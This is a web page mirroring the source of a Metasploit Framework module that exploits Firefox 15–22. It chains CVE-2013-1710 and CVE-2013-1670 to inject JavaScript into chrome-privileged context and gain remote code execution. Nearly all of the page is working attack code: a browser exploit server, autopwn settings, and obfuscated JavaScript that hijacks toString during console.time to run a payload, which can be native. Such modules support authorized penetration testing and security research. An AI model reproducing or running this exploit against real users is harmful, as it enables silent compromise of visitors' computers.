Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/multi/browser/firefox_tostring_console_injection.rb
19500 views
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
require 'rex/exploitation/jsobfu'

7


8
class MetasploitModule < Msf::Exploit::Remote

9
  Rank = ExcellentRanking

10


11
  include Msf::Exploit::Remote::BrowserExploitServer

12
  include Msf::Exploit::Remote::BrowserAutopwn

13
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

14


15
  autopwn_info({

16
    :ua_name => HttpClients::FF,

17
    :ua_minver => "15.0",

18
    :ua_maxver => "22.0",

19
    :javascript => true,

20
    :rank => ExcellentRanking

21
  })

22


23
  def initialize(info = {})

24
    super(

25
      update_info(

26
        info,

27
        'Name' => 'Firefox toString console.time Privileged Javascript Injection',

28
        'Description' => %q{

29
          This exploit gains remote code execution on Firefox 15-22 by abusing two separate

30
          Javascript-related vulnerabilities to ultimately inject malicious Javascript code

31
          into a context running with chrome:// privileges.

32
        },

33
        'License' => MSF_LICENSE,

34
        'Author' => [

35
          'moz_bug_r_a4', # discovered CVE-2013-1710

36
          'Cody Crews',   # discovered CVE-2013-1670

37
          'joev' # metasploit module

38
        ],

39
        'DisclosureDate' => '2013-05-14',

40
        'References' => [

41
          ['CVE', '2013-1710'] # chrome injection

42
        ],

43
        'Targets' => [

44
          [

45
            'Universal (Javascript XPCOM Shell)', {

46
              'Platform' => 'firefox',

47
              'Arch' => ARCH_FIREFOX

48
            }

49
          ],

50
          [

51
            'Native Payload', {

52
              'Platform' => %w{java linux osx solaris win},

53
              'Arch' => ARCH_ALL

54
            }

55
          ]

56
        ],

57
        'DefaultTarget' => 0,

58
        'BrowserRequirements' => {

59
          :source => 'script',

60
          :ua_name => HttpClients::FF,

61
          :ua_ver => lambda { |ver| ver.to_i.between?(15, 22) }

62
        },

63
        'Notes' => {

64
          'Reliability' => UNKNOWN_RELIABILITY,

65
          'Stability' => UNKNOWN_STABILITY,

66
          'SideEffects' => UNKNOWN_SIDE_EFFECTS

67
        }

68
      )

69
    )

70


71
    register_options([

72
      OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])

73
    ])

74
  end

75


76
  def on_request_exploit(cli, request, target_info)

77
    send_response_html(cli, generate_html(target_info))

78
  end

79


80
  def generate_html(target_info)

81
    key = Rex::Text.rand_text_alpha(5 + rand(12))

82
    opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin

83


84
    js = js_obfuscate %Q|

85
      var opts = #{JSON.unparse(opts)};

86
      var key = opts['#{key}'];

87
      var y = {}, q = false;

88
      y.constructor.prototype.toString=function() {

89
        if (q) return;

90
        q = true;

91
        crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex");

92
        return 5;

93
      };

94
      console.time(y);

95
    |

96


97
    %Q|

98
      <!doctype html>

99
      <html>

100
        <body>

101
          <script>

102
            #{js}

103
          </script>

104
          #{datastore['CONTENT']}

105
        </body>

106
      </html>

107
    |

108
  end

109
end

110


111